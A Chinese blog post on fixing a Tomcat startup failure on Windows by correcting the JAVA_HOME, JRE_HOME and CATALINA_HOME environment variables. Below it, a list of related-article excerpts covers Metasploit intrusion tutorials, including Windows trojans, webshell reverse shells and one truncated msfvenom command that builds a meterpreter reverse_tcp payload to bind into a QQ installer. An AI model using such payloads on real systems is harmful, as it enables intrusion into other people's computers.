Tomcat无法正常启动的问题

article/2025/9/29 13:05:41

首先我的问题是Tomcat无法正常启动,bin目录下的startup.bat也出现闪退的情况。

解决步骤:

1、先检查jdk的环境变量配置:

            (1)  右击“电脑”——>“属性”——>“高级系统设置”——>点击“环境变量”——>在“系统变量”中找到"Path"——>点击"编辑"——>新建两行,内容为"%JAVA_HOME%\bin"和"%JAVA_HOME%\jre\bin",内容如下:

(2)在命令窗口中检查,如下图所示,即为配置成功

 2、检查Tomca的环境变量配置:

                  (1)右击“电脑”——>“属性”——>“高级系统设置”——>点击“环境变量”——>在“系统变量”中新建——>“变量名"CATALINA_HOME",变量值"D:\apache-tomcat-9.0.64"(Tomcat的安装路径)

           (2)然后在系统变量找到变量名"Path",点击编辑,然后点击"新建",然后输入上"%CATALINA_HOME%\bin"和"%CATALINA_HOME%\lib",点击"确定",再点击"确定"

 (3)在命令窗口中检查,如下图所示,即为配置成功

诺 ,出现下面这个就是启动成功了

 3、在浏览器中访问Tomcat,在浏览器地址栏输入http://localhost:8080进行测试,如下图所示即为成功

 

4、好的,现在来回顾下刚开始遇到的问题:

          检查过程中我的"系统变量"中原本有JAVA_HOME和JRE_HOME两个变量,在我将我的JRE_HOME删除之后,就没有问题了,

        然而改成以下两种写法都无法启动Tomcat,

        C:\Program Files\Java\jdk-18.0.1.1\jre

        C:\Program Files\Java\jdk-18.0.1.1\jre\bin

        必须要删除JRE_HOME吗?未必。只是将JRE_HOME的变量值改成你JDK的根目录即可,我的是"C:\Program Files\Java\jdk-18.0.1.1"  ,Tomcat又可以正常启动了。我想这是我遇到问题的解决办法所在。

5、如果上述方法还是不能解决你的问题,来看这里:

       (1)、打开你自己的Tomcat目录下的bin文件夹:

       (2)、找到startup.bat(启动tomcat)和shutdown.bat(关闭tomcat)

        (3)、右键编辑,分别在每个文件的开头插入

                SET JAVA_HOME=C:\Program Files\Java\jdk-18.0.1.1(自己的JDK目录)
                SET TOMCAT_HOME=D:\apache-tomcat-9.0.64(自己的Tomcat目录)

 

大功告成,踩雷+1 ,祝您好运


http://chatgpt.dhexx.cn/article/c8LRpiKn.shtml

相关文章

冰蝎下的反弹shell连接msfconsole

文章目录 前言一、使用木马getshell1.搭建环境 二、冰蝎配置三、kali监听总结 前言 好久没碰美少妇(MSF)了,恰巧昨天在群里水群,有个表哥问为什么msf监听不到数据。为此我带着表哥的疑问进行了简单的研究。大体的流程和思路我简单记录一下。其中的坑还是…

Metasploit使用教程(操作实例,meterpreter,msfconsole,msfcli,抓包)

1、控制Metasploit终端(MSFCONSOLE) MSFCONSOLE主要用于管理Metasploit数据库,管理会话,配置并启动Matasploit模块 一些通用命令: help:该命令允许用户查看执行命令的帮助信息 use module:该命令…

Windows上安装Metasploit-(msfconsole)

前言 平时使用metasploit一般是在kali里面,有时候使用非常的麻烦,其实Metasploit也是支持Windows的,关于很多metasploit的方法,作者觉得有点小麻烦,这里给大家带来一种最简单的方法。 任务一 下载metasploit metasplo…

msfconsole之制作windows木马并成功获取shell

msfconsole之制作windows木马并成功获取shell 一、工具简介     msfconsole 简称 msf 是一款常用的安全测试工具,包含了常见的漏洞利用模块和生成各种木马,其提供了一个一体化的集中控制台,通过msfconsole,你可以访问和使用所…

msfconsole使用手册

我使用ubuntu;在同一局域网内有一台运行Windows XP(192.168.0.108)的测试电脑。 本文演示怎么使用Metasploit入侵windows xp sp3。 启动msfconsole: # msfconsole选择一个漏洞: msf > search platform: windows…

msfvenom msfconsole——msfvenom生成木马入侵WinServer2008及Android手机

文章目录 一、使用环境二、msfvenom编写Trojan木马Ⅰ、电脑端.exe格式Ⅱ、移动端.apk格式 三、msfconsole控制感染对象Ⅰ、电脑端示例:shell获取Windows的CMDⅡ、移动端示例:webcam_stream获取Android摄像头实时画面 完 免责声明:本文章仅供网…

kali中安装使用msfconsole

在kali中执行msfconsole,显示没有这个命令 安装metasploit-framework框架 启动数据库 service postgresql start # 启动数据库 初始化msf数据库 启动msfconsole 成功!!!

metasploit中msfconsole使用教程,永恒之蓝漏洞复现

文章目录 前言msfconsole常用参数打开和关闭search 查找模块use 使用指定模块info 查看模块的详细信息show 查看,set设置run 和 exploit mf17-010(永恒之蓝)漏洞复现 前言 msfconsole是metasploit中的一个工具,msfconsole集成了很多漏洞的利用的脚本&am…

msfconsole理论

msfconsole理论 msfconsole理论 ‍‍ 在MSF里面msfconsole可以说是最流行的一个接口程序。很多人一开始碰到msfconsole的时候就害怕了。那么多复杂的命令语句需要学习,但是msfconsole真的是一个强大的接口程序。Msfconsole提供了一个一体化的集中控制台。通过msfcon…

msfconsole捆绑木马

捆绑木马 这里使用的是Kali linux虚拟机 攻击机ip是192.168.0.108 靶机ip是192.168.177.134 生成木马文件 首先上传一个正常的安装包到kali里面 我这里下了一个QQ 把它上传到了root路径下 然后开始捆绑 msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.0.108 …

msfconsole 控制台使用和操作

Msfconsole提供了一个一体化的集中控制台。通过msfconsole,你可以访问和使用所有的metasploit的插件,payload,利用模块,post模块等等。Msfconsole还有第三方程序的接口,比如nmap,sqlmap等,可以直…

Msfconsole的基本使用

WIN XP ms12_020 复现 msfconsolesearch 查找模块use 装载模块winxp ip :192.168.186.133set RHOST 设置目标主机run 执行攻击目标蓝屏死机 重启常用命令show exploits 列出metasploit框架中的所有渗透攻击模块show payloads 列出metasploit框架中的所有攻击载荷sh…

metasploit msfconsole 命令参数

在MSF里面msfconsole可以说是最流行的一个接口程序。很多人一开始碰到msfconsole的时候就害怕了。那么多复杂的命令语句需要学习,但是msfconsole真的是一个强大的接口程序。Msfconsole提供了一个一体化的集中控制台。通过msfconsole,你可以访问和使用所有…

使用msfconsole常见问题解决

问题总结: (其中有我遇到的问题,有我没有遇到的,但我这里总结了一下别人遇到的,未雨绸缪)问题一(这个我也遇到过,不过我安装了上面的win 32就没问题了):原因…

msfconsole的简单使用

文章目录 前言一、入侵步骤ps之后通过学习了解了内网穿透 二、msfconsole常用命令总结 前言 Metasploit Framework 是非常优秀的开源渗透测试框架。 Metasploit 渗透测试框架(MSF3.4)包含3功能模块:msfconsole、msfweb、msfupdate。msfupdat…

msfconsole的使用,MSF17-010(虚拟机)的实验

一.介绍永恒之蓝: 二.环境 宿主机kali: IP地址 靶机win7: IP地址 然后关闭靶机防火墙,将kali,和win7的网络模式更改为NAT模式,然后使用宿主机和靶机ping对方的机器,保证ping通. 三.msfconsole的使用 1.输入命令msfconslole使用msf框架 2.search MSF17-010 搜索相关脚本 …

【MSFconsole工具】下载、启动方法、msf常用基础命令、模块功能、核心命令(入门初识)

目录 一、简介: 二、下载: 2.1、kali 2.2、官网: 2.3、GitHub: 三、启动方法 四、msf常用基础命令 五、msf结构 六、 核心命令: 一、简介: 很容易地获取、开发并对计算机软件漏洞实施攻击 附带数百…

kali msfconsole命令详解以及靶机攻破实战

一.msfconsole介绍 msfconsole简称msf是一款常用的渗透测试工具,包含了常见的漏洞利用模块和生成各种渗透文件,利用网站,手机等的漏洞将到目标靶机,操控目标靶机…这边仅供学习使用 msfconsole注:默认kali 预装了met…

内网安全:Msfconsole攻击技术(成功拿下服务器最高权限.)

Msfconsole工具 概括: Msfconsole简称(msf)是一款常用的渗透测试工具,包含了常见的漏洞利用模块和生成各种木马,方便于安全测试人员的使用. 目录: Msfconsole的使用: 第一步:进行端…

SSO是什么?CAS是什么?

SSO SSO是目前比较流行的服务于企业业务整合的解决方案之一, SSO 使得在多个应用系统中,用户只需要 登录一次 就可以访问所有相互信任的应用系统。 CAS CAS 是 Yale 大学发起的一个企业级的、开源的项目,旨在为 Web 应用系统提供一种可靠的…